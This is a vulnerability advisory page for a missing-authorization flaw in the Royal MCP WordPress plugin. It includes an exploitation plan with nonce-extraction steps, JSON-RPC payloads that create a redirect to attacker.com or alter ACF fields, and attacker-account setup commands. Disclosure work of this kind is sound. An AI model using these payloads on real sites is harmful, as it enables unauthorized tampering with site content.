CVE-2026-54842

Royal MCP – Secure AI Connector for Claude, ChatGPT & Gemini <= 1.4.25 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.4.26
Patched in
6d
Time to patch

Description

The Royal MCP – Secure AI Connector for Claude, ChatGPT & Gemini plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.4.25. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.4.25
PublishedJune 18, 2026
Last updatedJune 23, 2026
Affected pluginroyal-mcp

What Changed in the Fix

Changes introduced in v1.4.26

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-54842 ## 1. Vulnerability Summary The **Royal MCP** plugin for WordPress is vulnerable to **Missing Authorization** in its Model Context Protocol (MCP) server implementation. The plugin registers a REST API endpoint (`/wp-json/royal-mcp/v1/mcp`) designed to a…

Show full research plan

Exploitation Research Plan - CVE-2026-54842

1. Vulnerability Summary

The Royal MCP plugin for WordPress is vulnerable to Missing Authorization in its Model Context Protocol (MCP) server implementation. The plugin registers a REST API endpoint (/wp-json/royal-mcp/v1/mcp) designed to allow AI agents (like Claude or ChatGPT) to interact with WordPress tools (ACF, WooCommerce, Royal Ledger, etc.). While the plugin implements authentication via API keys and OAuth tokens, it fails to perform a capability check (e.g., current_user_can('manage_options')) when a request is authenticated via standard WordPress session cookies. This allows any authenticated user, including those with Subscriber-level access, to execute administrative tools and modify site data.

2. Attack Vector Analysis

  • Endpoint: /wp-json/royal-mcp/v1/mcp
  • Method: POST
  • Authentication: Authenticated (Subscriber or higher).
  • Required Header: X-WP-Nonce (standard WordPress REST API nonce).
  • Payload Format: JSON-RPC 2.0.
  • Vulnerable Action: Execution of any "MCP Tool" defined in the Integrations namespace.

3. Code Flow

  1. Entry Point: A POST request hits the REST route registered in includes/MCP/Server.php (likely inside a register_rest_route call in an initialization hook).
  2. Authentication: The Server::validate_auth() method (in includes/MCP/Server.php) checks for Bearer tokens or API keys. If the user is already logged into WordPress via cookies, the REST API infrastructure handles authentication, and validate_auth may be bypassed or return true based on the user session.
  3. Missing Check: The Server class processes the JSON-RPC message. It fails to verify if the authenticated user possesses the necessary administrative capabilities before proceeding to tool execution.
  4. Sink: The request reaches Server::execute_tool() (or a similar handler), which dispatches the call to integration classes:
    • Royal_MCP\Integrations\ACF::execute_tool
    • Royal_MCP\Integrations\RoyalLinks::execute_tool
    • Royal_MCP\Integrations\WooCommerce::execute_tool
  5. Execution: The integration class performs the action (e.g., acf_update_field, rlinks_create_link, wc_update_order_status) using the arguments provided in the JSON-RPC params.

4. Nonce Acquisition Strategy

The exploit requires a standard WordPress REST API nonce (wp_rest).

  1. Create a Trigger Page: Since the plugin is designed for AI interaction, it may enqueued scripts on the admin dashboard or pages where MCP is active.
  2. Standard Extraction:
    • Log in as the Subscriber.
    • Navigate to the WordPress dashboard or homepage.
    • Execute the following JS via browser_eval:
      window.wpApiSettings ? window.wpApiSettings.nonce : ""
      
    • Alternatively, extract it from the _wpnonce value in the wp-json script tag in the HTML source.

5. Exploitation Strategy

We will use the rlinks_create_link tool from RoyalLinks.php to create an unauthorized redirect, demonstrating the ability to modify site content.

Step 1: Authentication

Log in as a Subscriber user to obtain a session cookie.

Step 2: Obtain REST Nonce

Use browser_navigate to the homepage and browser_eval to get wpApiSettings.nonce.

Step 3: Execute Unauthorized Action

Send a POST request to the MCP endpoint to create a new link.

Request:

  • URL: http://localhost:8080/wp-json/royal-mcp/v1/mcp
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [obtained_nonce]
    • Origin: http://localhost:8080
  • Body:
{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "rlinks_create_link",
    "arguments": {
      "title": "Exploit Link",
      "destination_url": "https://attacker.com",
      "slug": "pwned",
      "redirect_type": "301"
    }
  },
  "id": 1
}

6. Test Data Setup

  1. Target Plugin: Ensure Royal MCP (<= 1.4.25) is active.
  2. Dependency: Ensure the Royal Links plugin is active (or mocked) so Royal_Links_Post_Type::create_link is available.
  3. Attacker Account: Create a user with the subscriber role.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    

7. Expected Results

  • The server responds with 200 OK.
  • The response body contains a JSON-RPC result object with the details of the created link:
{
  "jsonrpc": "2.0",
  "result": {
    "id": 123,
    "title": "Exploit Link",
    "slug": "pwned",
    "short_url": "http://localhost:8080/go/pwned",
    "destination_url": "https://attacker.com"
  },
  "id": 1
}

8. Verification Steps

After the exploit, verify the link creation via WP-CLI:

wp post list --post_type=royal_link --field=post_title
# Expected output should include "Exploit Link"

Check the metadata of the created link:

wp post meta list [ID]
# Verify _royal_links_destination_url is "https://attacker.com"

9. Alternative Approaches

If Royal Links is not active, target Advanced Custom Fields (ACF):

  • Requirement: ACF plugin must be active.
  • Payload: Call acf_update_field to change the value of an existing field on a post.
{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "acf_update_field",
    "arguments": {
      "field_name": "target_field",
      "post_id": 1,
      "value": "Modified by Subscriber"
    }
  },
  "id": 1
}

Verify via: wp post meta get 1 target_field.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Royal MCP plugin for WordPress is vulnerable to unauthorized access via its MCP tool execution endpoint. While the plugin implements custom authentication for AI agents, it fails to perform capability checks on authenticated WordPress user sessions, allowing low-privileged users like Subscribers to execute administrative actions through JSON-RPC calls.

Vulnerable Code

// includes/Integrations/ACF.php:168 in v1.4.25
case 'acf_update_field':
    $field_name = sanitize_text_field( $args['field_name'] ?? '' );
    $post_id    = intval( $args['post_id'] ?? 0 );
    if ( '' === $field_name || $post_id <= 0 ) {
        throw new \Exception( 'field_name and post_id are required' );
    }
    if ( ! get_post( $post_id ) ) {
        throw new \Exception( 'Post not found for ID ' . esc_html( (string) $post_id ) );
    }
    // Missing capability check (e.g., edit_post) before writing
    update_field( $field_name, $args['value'], $post_id );

---

// includes/Integrations/ForgeCache.php:79 in v1.4.25
case 'fc_clear_cache':
    // Missing capability check (e.g., manage_options) before execution
    \ForgeCache_Cache::clear_all_cache_static();
    return [
        'success' => true,
        'message' => 'ForgeCache page cache cleared.',
    ];

---

// includes/Integrations/RoyalLinks.php:127 in v1.4.25
case 'rlinks_create_link':
    if ( ! class_exists( 'Royal_Links_Post_Type' ) ) {
        throw new \Exception( 'Royal_Links_Post_Type class not loaded' );
    }
    // ... (args preparation)
    // Missing capability check before creating a link
    $result = \Royal_Links_Post_Type::create_link( $create_args );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/royal-mcp/1.4.25/includes/Integrations/ACF.php /home/deploy/wp-safety.org/data/plugin-versions/royal-mcp/1.4.26/includes/Integrations/ACF.php
--- /home/deploy/wp-safety.org/data/plugin-versions/royal-mcp/1.4.25/includes/Integrations/ACF.php	2026-06-03 03:32:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/royal-mcp/1.4.26/includes/Integrations/ACF.php	2026-06-09 10:52:08.000000000 +0000
@@ -108,6 +108,11 @@
 				if ( ! get_post( $post_id ) ) {
 					throw new \Exception( 'Post not found for ID ' . esc_html( (string) $post_id ) );
 				}
+				if ( ! current_user_can( 'read_post', $post_id ) ) {
+					throw new \Exception( 'You do not have permission to read ACF fields on this post.' );
+				}
 				$field_object = get_field_object( $field_name, $post_id, true, true );
@@ -168,6 +176,11 @@
 				if ( ! get_post( $post_id ) ) {
 					throw new \Exception( 'Post not found for ID ' . esc_html( (string) $post_id ) );
 				}
+				if ( ! current_user_can( 'edit_post', $post_id ) ) {
+					throw new \Exception( 'You do not have permission to edit ACF fields on this post.' );
+				}
 				if ( ! array_key_exists( 'value', $args ) ) {
 					throw new \Exception( 'value is required (pass null to clear the field)' );
 				}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/royal-mcp/1.4.25/includes/Integrations/ForgeCache.php /home/deploy/wp-safety.org/data/plugin-versions/royal-mcp/1.4.26/includes/Integrations/ForgeCache.php
--- /home/deploy/wp-safety.org/data/plugin-versions/royal-mcp/1.4.25/includes/Integrations/ForgeCache.php	2026-06-03 03:32:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/royal-mcp/1.4.26/includes/Integrations/ForgeCache.php	2026-06-09 10:52:08.000000000 +0000
@@ -79,6 +81,9 @@
 		switch ( $name ) {
 			case 'fc_clear_cache':
+				if ( ! current_user_can( 'manage_options' ) ) {
+					throw new \Exception( 'You do not have permission to clear the ForgeCache page cache.' );
+				}
 				\ForgeCache_Cache::clear_all_cache_static();

Exploit Outline

The exploit involves an authenticated attacker with Subscriber-level privileges leveraging standard WordPress session cookies to bypass authorization. The attacker first logs in and extracts a REST API nonce (standard `wp_rest` nonce) from the WordPress dashboard or via browser console. They then send a POST request to the `/wp-json/royal-mcp/v1/mcp` endpoint containing the `X-WP-Nonce` header. The request body uses the JSON-RPC 2.0 format to invoke a tool, such as `rlinks_create_link` (to create unauthorized redirects) or `acf_update_field` (to modify post metadata), which the plugin executes without verifying if the user has the required administrative capabilities.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.